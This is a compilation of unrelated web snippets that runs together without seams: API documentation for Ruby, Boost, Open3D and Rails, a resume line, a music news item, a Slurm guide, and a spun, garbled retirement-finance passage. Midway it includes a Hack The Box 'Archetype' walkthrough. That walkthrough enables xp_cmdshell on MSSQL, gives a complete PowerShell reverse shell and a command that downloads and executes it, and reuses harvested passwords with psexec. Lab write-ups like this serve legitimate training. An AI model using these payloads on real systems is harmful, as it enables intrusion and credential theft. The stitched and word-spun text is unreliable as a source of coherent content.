I am currently a senior at Rutgers University majoring in information technology informatics and minoring in human resource management. I have some experience involving IT and business through various class and personal projects and previous internships. I am searching for an internship for the Spring 2019 semester and a full time by the time I graduate. My goal is to become a business anaylst one day.
Rutgers University
September 2015 - Current
Journey to Wellness
September 2018 - December 2018
E&S Home Care Solutions
May 2018 - July 2018


| Path: | vendor\plugins\active_tamino\lib\active_tamino\base.rb |
| Last Update: | Mon May 07 22:03:41 +0200 2007 |
ActiveTamino enables developers to access Tamino data in a pseudo object-oriented way. By using class and instance methods of the ActiveTamino::Base class developers can create, find, update and delete objects which represent data in a Tamino XML data store.
ActiveTamino depends on the Ruby Tamino API which is distributed with this package. It has to be loaded, e.g. using require ‘tamino_api.rb‘. This can be done in config/environment.rb. Please see the Tamino API documentation as well.
Note: ActiveTamino was tested using Edge Rails on revision 6236. If you experience problems, try to switch back to this revision by issuing
rake rails:freeze:edge REVISION=6236
on the command line in the Rails project.
Note: the Tamino schema which this example is bases upon can be found in doc/examples/schema.myAddresses.utf-8.tsd.
Define a Ruby class which inherits from ActiveTamino::Base like so:
class Person < ActiveTamino::Base self.doctype = "person" self.collection = "people" self.credentials = {:host => "localhost", :port => 80, :database => "welcome_4_4_1", :username => "john.doe", :password => "secret" } end
Create a person object and set some data
john = Person.create :name => { :firstName => "John", :lastName => "Doe"}, :address => { :city => "San Francisco", :street => { :name => "14th Street", :number => 718 } }
You will see the corresponding XML as a new node in Tamino. Now, let‘s change some data!
john.address.city = "New York" john.address.street.name = "5th Ave" john.address.street.number = 725
The changes won‘t be reflected in Tamino directly. You will need to call the save! method to update the object in the Tamino database.
john.save!
To remove the entry, you could call the object‘s destroy method.
john.destroy
ActiveTamino can be used in other Ruby on Rails projects by following these steps.
Copyright 2007 Software AG, Authored by: Jan Schulz-Hofen
Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.


非常抱歉，本站需要启用Javascript才能正常访问。
We're sorry but xdtic-web doesn't work properly without JavaScript enabled. Please enable it to continue.


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We are a team of expert Developers specialized in Django, Python and other modern tools striving to make things work on the internet.
We don't just write code! We strive to apply the right elements of software engineering practice and combining tech to put together products that work for lifetime.
We started up as a young venture functioning with our skilled developers to accomplish a goal of innovation in all possible ways.
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Functions | |
| template<typename Input , typename Output , typename T > | |
| void | boost::geometry::buffer (Input const &geometry_in, Output &geometry_out, T const &distance, T const &chord_length=-1) |
| Calculate buffer (= new geometry) around specified distance of geometry. | |
| template<typename Output , typename Input , typename T > | |
| Output | boost::geometry::make_buffer (Input const &geometry, T const &distance, T const &chord_length=-1) |
| Calculate and return buffer (= new geometry) around specified distance of geometry. |
| void boost::geometry::buffer | ( | Input const & | geometry_in, | |
| Output & | geometry_out, | |||
| T const & | distance, | |||
| T const & | chord_length = -1 | |||
| ) |
Calculate buffer (= new geometry) around specified distance of geometry.
| geometry_in | input geometry | |
| distance | the distance used in buffer | |
| chord_length | length of the chord's in the generated arcs around points or bends | |
| geometry_out | buffered geometry |
Definition at line 107 of file buffer.hpp.
| Output boost::geometry::make_buffer | ( | Input const & | geometry, | |
| T const & | distance, | |||
| T const & | chord_length = -1 | |||
| ) |
Calculate and return buffer (= new geometry) around specified distance of geometry.
| geometry | input geometry | |
| distance | the distance used in buffer | |
| chord_length | length of the chord's in the generated arcs around points or bends |
Definition at line 133 of file buffer.hpp.
|
December 1, 2009 |
Copyright © 1995-2009 Barend Gehrels, Geodan, Amsterdam Copyright © 2008-2009 Bruno Lalande, Paris Copyright © 2009 Mateusz Loskot, Cadcorp, London |


Reports any cases where a java.util.Collection
or java.util.Map is added as an element of itself. While Bertrand Russell
might approve of such a construct, the JVM will likely not, throwing a java.lang.StackOverflowError
if hashCode() is ever called on the self-containing collection.
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Project Co-Lead |
|---|---|
|
Kirti Rajagopalan CSANR, Washington State University |
Vince Jones WSU Tree Fruit Research and Extension Center |
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Ute Chambers |
Sonia Hall |
Von Walden |
Mingliang Liu |
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Georgine Yorgey |
Chad Kruger |
Lee Kalcsits |
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| Home | Libraries | People | FAQ | More |
To CESVIMA (http://www.cesvima.upm.es/),
Centro de Cálculo de la Universidad Politécnica de Madrid. When need machines
for to tune this algorithm, I contacted with the investigation department of
many Universities of Madrid. Only them, help me.
To Hartmut Kaiser,
Adjunct Professor of Computer Science at Louisiana State University. By their
faith in my work,
To Steven Ross, by their infinite patience
in the long way in the develop of this algorithm, and their wise advises.


Hear Taylor Swift’s New Cats Song, ‘Beautiful Ghosts’
by Bethy SquiresAn embattled Taylor Swift dropped her new Cats song at exactly 12:01 a.m. Friday morning. As previously reported, “Beautiful Ghosts” isn’t sung by Swift’s character, Bombalurina. Instead, it will be sung by Francesa Hayward’s Victoria in the film and then reprised by Judi Dench’s Old Deuteronomy before being sung over the credits by Swift. The song was written by Swift and Andrew Lloyd Weber. According to Weber, Swift wrote almost all the lyrics in the room immediately after hearing the song for the first time.
Meanwhile, Swifties have started a Change.org petition to get Scooter Braun et al. to quit being (alleged) assholes and let Taylor play her pre-Lover songs at the American Music Awards and in her Netflix documentary. Gigi Hadid and Tinashe leant their support on Twitter, and Halsey sang “Mean” in her Instagram stories as well as providing a statement decrying the actions of Big Machine and the Carlyle Group. Whether or not Taylor Swift’s considerable fanbase can vanquish private equity remains to be seen.


|
Open3D (C++ API)
|
#include <PointCloud.h>
Public Member Functions | |
| PointCloud () | |
| ~PointCloud () override | |
| PointCloud & | Clear () override |
| bool | IsEmpty () const override |
| Eigen::Vector3d | GetMinBound () const override |
| Eigen::Vector3d | GetMaxBound () const override |
| Eigen::Vector3d | GetCenter () const override |
| AxisAlignedBoundingBox | GetAxisAlignedBoundingBox () const override |
| OrientedBoundingBox | GetOrientedBoundingBox () const override |
| PointCloud & | Transform (const Eigen::Matrix4d &transformation) override |
| PointCloud & | Translate (const Eigen::Vector3d &translation, bool relative=true) override |
| PointCloud & | Scale (const double scale, bool center=true) override |
| PointCloud & | Rotate (const Eigen::Vector3d &rotation, bool center=true, RotationType type=RotationType::XYZ) override |
| PointCloud & | operator+= (const PointCloud &cloud) |
| PointCloud | operator+ (const PointCloud &cloud) const |
| bool | HasPoints () const |
| bool | HasNormals () const |
| bool | HasColors () const |
| PointCloud & | NormalizeNormals () |
| PointCloud & | PaintUniformColor (const Eigen::Vector3d &color) |
| Assigns each point in the PointCloud the same color. More... | |
| PointCloud & | RemoveNoneFinitePoints (bool remove_nan=true, bool remove_infinite=true) |
| std::shared_ptr< PointCloud > | SelectDownSample (const std::vector< size_t > &indices, bool invert=false) const |
| std::shared_ptr< PointCloud > | VoxelDownSample (double voxel_size) const |
| std::tuple< std::shared_ptr< PointCloud >, Eigen::MatrixXi > | VoxelDownSampleAndTrace (double voxel_size, const Eigen::Vector3d &min_bound, const Eigen::Vector3d &max_bound, bool approximate_class=false) const |
| std::shared_ptr< PointCloud > | UniformDownSample (size_t every_k_points) const |
| std::shared_ptr< PointCloud > | Crop (const Eigen::Vector3d &min_bound, const Eigen::Vector3d &max_bound) const |
| std::tuple< std::shared_ptr< PointCloud >, std::vector< size_t > > | RemoveRadiusOutliers (size_t nb_points, double search_radius) const |
| std::tuple< std::shared_ptr< PointCloud >, std::vector< size_t > > | RemoveStatisticalOutliers (size_t nb_neighbors, double std_ratio) const |
| bool | EstimateNormals (const KDTreeSearchParam &search_param=KDTreeSearchParamKNN(), bool fast_normal_computation=true) |
| bool | OrientNormalsToAlignWithDirection (const Eigen::Vector3d &orientation_reference=Eigen::Vector3d(0.0, 0.0, 1.0)) |
| bool | OrientNormalsTowardsCameraLocation (const Eigen::Vector3d &camera_location=Eigen::Vector3d::Zero()) |
| std::vector< double > | ComputePointCloudDistance (const PointCloud &target) |
| std::tuple< Eigen::Vector3d, Eigen::Matrix3d > | ComputeMeanAndCovariance () const |
| std::vector< double > | ComputeMahalanobisDistance () const |
| std::vector< double > | ComputeNearestNeighborDistance () const |
| std::shared_ptr< TriangleMesh > | ComputeConvexHull () const |
| Function that computes the convex hull of the point cloud using qhull. More... | |
| std::vector< int > | ClusterDBSCAN (double eps, size_t min_points, bool print_progress=false) const |
| std::shared_ptr< PointCloud > | CreateFromVoxelGrid (const VoxelGrid &voxel_grid) |
| Public Member Functions inherited from open3d::geometry::Geometry3D | |
| ~Geometry3D () override | |
| Public Member Functions inherited from open3d::geometry::Geometry | |
| virtual | ~Geometry () |
| GeometryType | GetGeometryType () const |
| int | Dimension () const |
Static Public Member Functions | |
| static std::shared_ptr< PointCloud > | CreateFromDepthImage (const Image &depth, const camera::PinholeCameraIntrinsic &intrinsic, const Eigen::Matrix4d &extrinsic=Eigen::Matrix4d::Identity(), double depth_scale=1000.0, double depth_trunc=1000.0, int stride=1) |
| static std::shared_ptr< PointCloud > | CreateFromRGBDImage (const RGBDImage &image, const camera::PinholeCameraIntrinsic &intrinsic, const Eigen::Matrix4d &extrinsic=Eigen::Matrix4d::Identity()) |
Data Fields | |
| std::vector< Eigen::Vector3d > | points_ |
| std::vector< Eigen::Vector3d > | normals_ |
| std::vector< Eigen::Vector3d > | colors_ |
Additional Inherited Members | |
| Public Types inherited from open3d::geometry::Geometry3D | |
| enum | RotationType { RotationType::XYZ, RotationType::YZX, RotationType::ZXY, RotationType::XZY, RotationType::ZYX, RotationType::YXZ, RotationType::AxisAngle } |
| Public Types inherited from open3d::geometry::Geometry | |
| enum | GeometryType { GeometryType::Unspecified = 0, GeometryType::PointCloud = 1, GeometryType::VoxelGrid = 2, GeometryType::Octree = 3, GeometryType::LineSet = 4, GeometryType::TriangleMesh = 5, GeometryType::HalfEdgeTriangleMesh = 6, GeometryType::Image = 7, GeometryType::RGBDImage = 8, GeometryType::TetraMesh = 9, GeometryType::OrientedBoundingBox = 10, GeometryType::AxisAlignedBoundingBox = 11 } |
| Protected Member Functions inherited from open3d::geometry::Geometry3D | |
| Geometry3D (GeometryType type) | |
| Eigen::Vector3d | ComputeMinBound (const std::vector< Eigen::Vector3d > &points) const |
| Eigen::Vector3d | ComputeMaxBound (const std::vector< Eigen::Vector3d > &points) const |
| Eigen::Vector3d | ComputeCenter (const std::vector< Eigen::Vector3d > &points) const |
| void | ResizeAndPaintUniformColor (std::vector< Eigen::Vector3d > &colors, const size_t size, const Eigen::Vector3d &color) const |
| void | TransformPoints (const Eigen::Matrix4d &transformation, std::vector< Eigen::Vector3d > &points) const |
| void | TransformNormals (const Eigen::Matrix4d &transformation, std::vector< Eigen::Vector3d > &normals) const |
| void | TranslatePoints (const Eigen::Vector3d &translation, std::vector< Eigen::Vector3d > &points, bool relative) const |
| void | ScalePoints (const double scale, std::vector< Eigen::Vector3d > &points, bool center) const |
| void | RotatePoints (const Eigen::Vector3d &rotation, std::vector< Eigen::Vector3d > &points, bool center, RotationType type) const |
| void | RotateNormals (const Eigen::Vector3d &rotation, std::vector< Eigen::Vector3d > &normals, bool center, RotationType type) const |
| Eigen::Matrix3d | GetRotationMatrix (const Eigen::Vector3d &rotation, RotationType type=RotationType::XYZ) const |
| Protected Member Functions inherited from open3d::geometry::Geometry | |
| Geometry (GeometryType type, int dimension) | |
|
inline |
|
inlineoverride |
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
| std::vector< int > open3d::geometry::PointCloud::ClusterDBSCAN | ( | double | eps, |
| size_t | min_points, | ||
| bool | print_progress = false |
||
| ) | const |
Cluster PointCloud using the DBSCAN algorithm Ester et al., "A Density-Based Algorithm for Discovering Clusters in Large Spatial Databases with Noise", 1996 Returns a vector of point labels, -1 indicates noise according to the algorithm.
| std::shared_ptr< TriangleMesh > open3d::geometry::PointCloud::ComputeConvexHull | ( | ) | const |
Function that computes the convex hull of the point cloud using qhull.
| std::vector< double > open3d::geometry::PointCloud::ComputeMahalanobisDistance | ( | ) | const |
Function to compute the Mahalanobis distance for points in an
| input | point cloud https://en.wikipedia.org/wiki/Mahalanobis_distance |
| std::tuple< Eigen::Vector3d, Eigen::Matrix3d > open3d::geometry::PointCloud::ComputeMeanAndCovariance | ( | ) | const |
Function to compute the mean and covariance matrix of an
| input | point cloud |
| std::vector< double > open3d::geometry::PointCloud::ComputeNearestNeighborDistance | ( | ) | const |
Function to compute the distance from a point to its nearest neighbor in the
| input | point cloud |
| std::vector< double > open3d::geometry::PointCloud::ComputePointCloudDistance | ( | const PointCloud & | target | ) |
Function to compute the point to point distances between point clouds
| source | is the first point cloud. |
| target | is the second point cloud. |
| source |
|
static |
Factory function to create a pointcloud from a depth image and a camera model (PointCloudFactory.cpp) The input depth image can be either a float image, or a uint16_t image. In the latter case, the depth is scaled by 1 / depth_scale, and truncated at depth_trunc distance. The depth image is also sampled with stride, in order to support (fast) coarse point cloud extraction. Return an empty pointcloud if the conversion fails.
|
static |
Factory function to create a pointcloud from an RGB-D image and a camera model (PointCloudFactory.cpp) Return an empty pointcloud if the conversion fails.
| std::shared_ptr< PointCloud > open3d::geometry::PointCloud::CreateFromVoxelGrid | ( | const VoxelGrid & | voxel_grid | ) |
Function to create a PointCloud from a VoxelGrid. It transforms the voxel centers to 3D points using the original point cloud coordinate (with respect to the center of the voxel grid).
| std::shared_ptr< PointCloud > open3d::geometry::PointCloud::Crop | ( | const Eigen::Vector3d & | min_bound, |
| const Eigen::Vector3d & | max_bound | ||
| ) | const |
Function to crop
| input | pointcloud into output pointcloud All points with coordinates less than |
| min_bound | or larger than |
| max_bound | are clipped. |
| bool open3d::geometry::PointCloud::EstimateNormals | ( | const KDTreeSearchParam & | search_param = KDTreeSearchParamKNN() , |
| bool | fast_normal_computation = true |
||
| ) |
Function to compute the normals of a point cloud
| cloud | is the input point cloud. It also stores the output normals. Normals are oriented with respect to the input point cloud if normals exist in the input. |
| search_param | The KDTree search parameters |
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
inline |
|
inline |
|
inline |
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
inline |
| PointCloud open3d::geometry::PointCloud::operator+ | ( | const PointCloud & | cloud | ) | const |
| PointCloud & open3d::geometry::PointCloud::operator+= | ( | const PointCloud & | cloud | ) |
| bool open3d::geometry::PointCloud::OrientNormalsToAlignWithDirection | ( | const Eigen::Vector3d & | orientation_reference = Eigen::Vector3d(0.0, 0.0, 1.0) | ) |
Function to orient the normals of a point cloud
| cloud | is the input point cloud. It must have normals. Normals are oriented with respect to |
| orientation_reference |
| bool open3d::geometry::PointCloud::OrientNormalsTowardsCameraLocation | ( | const Eigen::Vector3d & | camera_location = Eigen::Vector3d::Zero() | ) |
Function to orient the normals of a point cloud
| cloud | is the input point cloud. It also stores the output normals. Normals are oriented with towards |
| camera_location |
|
inline |
Assigns each point in the PointCloud the same color.
| color. |
| PointCloud & open3d::geometry::PointCloud::RemoveNoneFinitePoints | ( | bool | remove_nan = true , |
| bool | remove_infinite = true |
||
| ) |
Remove all points fromt he point cloud that have a nan entry, or infinite entries. Also removes the corresponding normals and color entries.
| std::tuple< std::shared_ptr< PointCloud >, std::vector< size_t > > open3d::geometry::PointCloud::RemoveRadiusOutliers | ( | size_t | nb_points, |
| double | search_radius | ||
| ) | const |
Function to remove points that have less than
| nb_points | in a sphere of radius |
| search_radius |
| std::tuple< std::shared_ptr< PointCloud >, std::vector< size_t > > open3d::geometry::PointCloud::RemoveStatisticalOutliers | ( | size_t | nb_neighbors, |
| double | std_ratio | ||
| ) | const |
Function to remove points that are further away from their
| nb_neighbor | neighbors in average. |
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
| std::shared_ptr< PointCloud > open3d::geometry::PointCloud::SelectDownSample | ( | const std::vector< size_t > & | indices, |
| bool | invert = false |
||
| ) | const |
Function to select points from
| input | pointcloud into |
| indices | are selected. |
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
|
overridevirtual |
Implements open3d::geometry::Geometry3D.
| std::shared_ptr< PointCloud > open3d::geometry::PointCloud::UniformDownSample | ( | size_t | every_k_points | ) | const |
Function to downsample
| input | pointcloud into output pointcloud uniformly |
| every_k_points | indicates the sample rate. |
| std::shared_ptr< PointCloud > open3d::geometry::PointCloud::VoxelDownSample | ( | double | voxel_size | ) | const |
Function to downsample
| input | pointcloud into output pointcloud with a voxel |
| voxel_size | defines the resolution of the voxel grid, smaller value leads to denser output point cloud. Normals and colors are averaged if they exist. |
| std::tuple< std::shared_ptr< PointCloud >, Eigen::MatrixXi > open3d::geometry::PointCloud::VoxelDownSampleAndTrace | ( | double | voxel_size, |
| const Eigen::Vector3d & | min_bound, | ||
| const Eigen::Vector3d & | max_bound, | ||
| bool | approximate_class = false |
||
| ) | const |
Function to downsample using VoxelDownSample, but specialized for Surface convolution project. Experimental function.
| std::vector<Eigen::Vector3d> open3d::geometry::PointCloud::colors_ |
| std::vector<Eigen::Vector3d> open3d::geometry::PointCloud::normals_ |
| std::vector<Eigen::Vector3d> open3d::geometry::PointCloud::points_ |


Online presence means interaction. Companies need your identity which you present in different ways, depending on the company, person or context.
You communicate over various channels and
in different contexts but it's always you
“Then the Grinch thought of something he hadn't before! What if Christmas, he thought, doesn't
come from a store. What if Christmas... perhaps... means a little bit more!”
Dr. Seuss
An identity when communicating is not about the channel or the provider, it's about who you are talking to in which context.
Share up to date information
but only as much as you want
Don't be afraid to show your face anymore. Share the information you wish to share to a service provider and be sure your other information is safe.


FNX
A simple webgl 3d engine
Installing
git clone https://github.com/Masterchoc/FNX.git
cd FNX
npm i
Build
npm run dev
Deployment
Files are available in the created folder "dist/" after running the command for building.
Built With
- WebGL - The main graphic library
- NPM - Dependency Management
- Coffee-Script - Main language used
License
This project is licensed under the MIT License - see the LICENSE.md file for details


We aggregate networks!
- incubate proactive ROI
- engage out-of-the-box partnerships
- syndicate cutting-edge technologies
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- matrix best-of-breed networks
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- reinvent killer solutions


In this Bite you are given a list
of strings that contain emojis. Complete get_emoji_indices
returning a list of indices of the emojis found in the text.
Here is an example how it should work:
>>> from emojis import get_emoji_indices >>> text = "We see more and more 🐍 Python 🥋 ninjas, keep it up 💪" >>> text.index('🐍') 21 >>> text.index('🥋') 30 >>> text.index('💪') 51 >>> get_emoji_indices(text) [21, 30, 51]
Have fun and keep calm and code in Python!


Services:
- Service using the service behavior via an attribute: ~/Services/TestService.svc
- Service using the service behavior via configuration: ~/Services/TestService2.svc
-
http://ajdotnet.wordpress.com
https://github.com/ajdotnet/wcf-policy


|
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| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |
| Interface Summary | |
|---|---|
| MergerContext | An object passed as an argument to MergerToken.execute(MergerContext) s that a
MergerToken can do its work. |
| MergerToken | |
| ModelMergeDelegate | A interface used to tell about modifications performed on the model by
MergerToken with MergeDirection.TO_MODEL |
| ValueForNullProvider |
| Enum Summary | |
|---|---|
| MergeDirection | Represent a merge direction that can be one of two. |
|
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| PREV PACKAGE NEXT PACKAGE | FRAMES NO FRAMES |


To stand out from the crowd, one has to be acquainted with the latest technology.
Here is a golden opportunity, python bootcamp for machine Learning and Data Science !
This includes,
Peer-to-peer mentoring.
Coding sessions and reviews.
Building projects from scratch.
This programme will help you gain hands on experience in Python for Machine Learning and Data Science.


500
Something Went Wrong
But we are working
on it!
Meanwhile, try one of the following:
Read the faq
Give us more info on how this specific error occurred!


Slurm is our cluster management and scheduling system. We will focus on a few slurm commands to get you started.
sbatch is used to submit a job script
srun is used to run commands directly on a work node
squeue is used to list all running and queued jobs
How to Submit a Job
The easiest way to test submitting a job is to use the simple submit script below. Same the file below to a file named myJob. To submit this script, type sbatch myJob. If you get an output file, you have successfully submitted your first job on the kraken cluster.
#!/bin/bash
#SBATCH --job-name=myJob # job name - can use -J jobname for short
#SBATCH --error=/fullpathtoerrorfile # error file
#SBATCH --output=/fullpathtooutfile # output file
/bin/hostname
How to Use srun
The example below shows how to execute a basic srun so that I can attain a work
node to run my command or software
[user@kraken1 ~]$ srun –pty bash
[user@node02 ~]$ hostname
node02
How to Use srun to Run software that Has Graphics
For this to work, you would need to have an X server with X11 enabled on the
machine you ssh into kraken.
Mac users can use XQuartz and Windows Users can use Xming or Exceed as X Servers.
[user@kraken1 ~]$ srun –x11 -p interactive –pty bash
How to Check on Currently Running and Queued Jobs
[user@kraken1 ~]$ squeue
| JOBID | PARTITION | NAME | USER | ST | TIME | NODES | NODELIST(REASON) |
|---|---|---|---|---|---|---|---|
| 23998 | defq | bash | user1 | R | 2:09:50 | 1 | node01 |
| 24003 | defq | bash | user2 | R | 12:24 | 1 | node02 |


Archetype - HTB starting point
- Target IP: <IP_ADDRESS>
- Tools used: nmap, smbclient, mssqclient.py, python3, ufw, nc, psexec.py
This is gonna be a lil bit detailed since it’s the first machine in this series. I use ubuntu, so you might not need to use sudo
Phase 1: Enumeration
We scan the IP for the open ports using nmap
$ nmap -sC -sV -O -oA nmap/archetype <IP_ADDRESS>
We found two crucial ports open:
On 445
SMB is running
On 1433
SQL is running
Lets check if anonymous login is available on SMB
$ smbclient -N -L //<IP_ADDRESS>/
Lets enumerate backups
share/directory because it might contain config files which usually have usernames and passwords
$ smbclient -N //<IP_ADDRESS>/backups
After listing directory contents using dir
prod.dtsConfig
file is found. It’s a config file of SQL.
Download the file using get prod.dtsConfig
Contents of the file:
We got SQL user creds:
User ID = ARCHETYPE\sql_svc
Password = M3g4c0rp123
Now that we’ve SQL creds, we can establish a SQL connection using mssqlclient.py
- can be found in examples folder of impackets
$ python3 mssqlclient.py<EMAIL_ADDRESS>-windows-auth
It asks for the password, give the password we found in config file
Lets check if we’ve administrative privileges on SQL database
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
We got output as 1
- meaning: Yes, we’ve indeed.
Now, we can configure few database settings so that we can run cmd
commands on the host system - system that’s hosting this database, in our case that’s our target <IP_ADDRESS>
To execute cmd commands through SQL shell, there’s a command called xp_cmdshell
.
- To enable this we need administrative privileages that’s why we checked if we’d admin privileages or not.
- Second thing is to enable
show advanced options
Let’s check default values:
SQL> sp_configure
- To enable
show advanced options
:
SQL> EXEC sp_configure 'show advanced options', 1
SQL> reconfigure;
- To enable
xp_cmdshell
:
SQL> EXEC sp_configure 'xp_cmdshell', 1
SQL> reconfigure;
SQL> sp_configure;
After enabling both
Now we can run cmd
commands using
xp_cmdshell
SQL> xp_cmdshell 'whoami'
Now lets get a reverse shell using powershell script
Phase 2: Foothold
$client = New-Object System.Net.Sockets.TCPClient("<IP_ADDRESS>",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- Copy the above
powershell
script into a file with extension.ps1
- Change the
IP
in the script to your own htb IP
Start a python server in reverse shell script folder, so that we can download the script onto victim system and run it.
$ sudo python3 -m http.server 80
Start a listener using netcat
. When victim system tries to connect to us, we need to listen for it. Hence the name: reverse shell
$ sudo nc -lvnp 443
I’m ubuntu, so firewall is not enabled by default but if you’re on parrot security then it is enabled by default. Then you need to allow connections from target IP
$ sudo ufw allow from <IP_ADDRESS> proto tcp to any port 80,443
Run the below command to download our shell script onto the target system and execute it.
Here also change the IP
SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://<IP_ADDRESS>/shell.ps1\");
Check the nc listner status
And when connection established..
You can read the user.txt but that’s not needed in this challenge.
Let’s check the powershell history to view what were the user’s recent actions and looks like we found:
Administrator password: MEGACORP_4dm1n!!
Phase 3: Privilege Escalation
Now that we have admin password, we can try logging in using psexec.py
can be found in impacket/examples
$ sudo python3 psexec.py<EMAIL_ADDRESS>It prompts for password, enter the password and you have the SHELL!!
$ type c:\users\administrator\desktop\root.txt


Module: ActionView::Helpers::SanitizeHelper::ClassMethods
| Relationships & Source Files | |
| Defined in: | actionview/lib/action_view/helpers/sanitize_helper.rb |
Instance Attribute Summary
-
#full_sanitizer
rw
Gets the
Rails::Html::FullSanitizer
instance used by #strip_tags. - #full_sanitizer=(value) rw
-
#link_sanitizer
rw
Gets the
Rails::Html::LinkSanitizer
instance used by #strip_links. - #link_sanitizer=(value) rw
-
#safe_list_sanitizer
rw
Gets the
Rails::Html::SafeListSanitizer
instance used by sanitize and #sanitize_css. - #safe_list_sanitizer=(value) rw
Instance Method Summary
Instance Attribute Details
#full_sanitizer (rw)
Gets the Rails::Html::FullSanitizer
instance used by ActionView::Helpers::SanitizeHelper#strip_tags. Replace with any object that responds to ActionView::Helpers::SanitizeHelper#sanitize.
class Application < Rails::Application
config.action_view.full_sanitizer = MySpecialSanitizer.new
end
# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 145
def full_sanitizer @full_sanitizer ||= sanitizer_vendor.full_sanitizer.new end
#full_sanitizer=(value) (rw)
[ GitHub ]# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 125
attr_writer :full_sanitizer, :link_sanitizer, :safe_list_sanitizer
#link_sanitizer (rw)
Gets the Rails::Html::LinkSanitizer
instance used by ActionView::Helpers::SanitizeHelper#strip_links. Replace with any object that responds to ActionView::Helpers::SanitizeHelper#sanitize.
class Application < Rails::Application
config.action_view.link_sanitizer = MySpecialSanitizer.new
end
# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 155
def link_sanitizer @link_sanitizer ||= sanitizer_vendor.link_sanitizer.new end
#link_sanitizer=(value) (rw)
[ GitHub ]# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 125
attr_writer :full_sanitizer, :link_sanitizer, :safe_list_sanitizer
#safe_list_sanitizer (rw)
Gets the Rails::Html::SafeListSanitizer
instance used by sanitize and ActionView::Helpers::SanitizeHelper#sanitize_css. Replace with any object that responds to ActionView::Helpers::SanitizeHelper#sanitize.
class Application < Rails::Application
config.action_view.safe_list_sanitizer = MySpecialSanitizer.new
end
# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 165
def safe_list_sanitizer @safe_list_sanitizer ||= sanitizer_vendor.safe_list_sanitizer.new end
#safe_list_sanitizer=(value) (rw)
[ GitHub ]# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 125
attr_writer :full_sanitizer, :link_sanitizer, :safe_list_sanitizer
Instance Method Details
#sanitized_allowed_attributes
[ GitHub ]# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 135
def sanitized_allowed_attributes sanitizer_vendor.safe_list_sanitizer.allowed_attributes end
#sanitized_allowed_tags
[ GitHub ]# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 131
def sanitizer_vendor.safe_list_sanitizer. end
#sanitizer_vendor
[ GitHub ]# File 'actionview/lib/action_view/helpers/sanitize_helper.rb', line 127
def sanitizer_vendor Rails::Html::Sanitizer end


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Sageevan, Darshak, and Prateek team up and think of products to develop that will help someone's daily life.
The 3 engineers finalize on an idea to tackle. They decide on providing a solution to overcoming the pains of short commutes.
The team decides on a vehicle to build on and they draft a design for the electric longboard. The mechanical guy whips up a CAD model to bring the draft to (virtual) life
The team is named and a website (this one!) is put together to document the progress of InMōshn's first personal transportation vehicle. Check out our blog for more detailed updates on your next favourite way to get to work!
InMōshn finally completes building the board and launches a video to present it. Check it out on YouTube here!
Mechanical and Software Lead
Project Lead
Systems and Electrical Lead


Years in the beyond, it become feasible to transport away cash within the bank and make a 5 percent return on monetary savings. You may even make extra on money-marketplace cds. That isn't always possible these days. What's available for a center-beauty family with financial savings below $100,000? - b.Good enough., garland
The subsequent factor an fantastic manner to do is make an appointment at your neighborhood social protection administrative center and get estimates of your modern and future social safety benefits. In an effort to provide you with an idea of what your base income may be when you save you running. It can help to understand that plenty extra humans are on your function - constrained retirement monetary savings - than are in the function of getting plentiful retirement savings. Heaps and hundreds of humans discover a manner to get along on social protection and constrained economic financial savings.
A current quote from the internet website on-line immediateannuities.Com indicated a monthly income of $490 for a joint-existence annuity on a 66-yr-vintage couple for a $100,000 buy. It is probably unwise, but, to commit all of your economic financial savings to a existence annuity. Why? Because of the reality a existence annuity is an alternate of one sum, that $100,000, for a whole life of constant payments - you can't get your real funding again.


--- layout: post status: publish published: true title: Two-Faced Design author: display_name: Tomas Restrepo login: tomasr email<EMAIL_ADDRESS>url: http://winterdom.com/ author_login: tomasr author_email<EMAIL_ADDRESS>author_url: http://winterdom.com/ wordpress_id: 606 wordpress_url: http://winterdom.com/2003/01/twofaceddesign date: '2003-01-28 04:58:47 +0000' date_gmt: '2003-01-28 04:58:47 +0000' categories: - ".NET" tags: [] comments: [] ---
Ziv Caspi asks in a comment to one of my rants:
Is there a good design that would support both?
Is other words, do you see (or know of) a good design that would please devs like me -- who rarely do UI work and need simple abstractions --yet also support people like you, who obviously need the power to do complex work?
IMHO, it is sometimes very difficult to achieve this in a single API. In some cases I know of, the results were the design of two separated interfaces.
Great question, and not one easy to answer, I think, since it depends on a lot of factors. However, let me side-step the issue by saying this: I don't think my original critique of the Winforms design impacted the usability of the framework in any way. In fact, I think it would've simplified usage of it. Would've splitting the class hierarchy in a different way have significantly impacted the usage model? I don't think so. Consistency is always good, at least imho, while we're are it.


{% load static %}
I like coding, doing research and collaborating
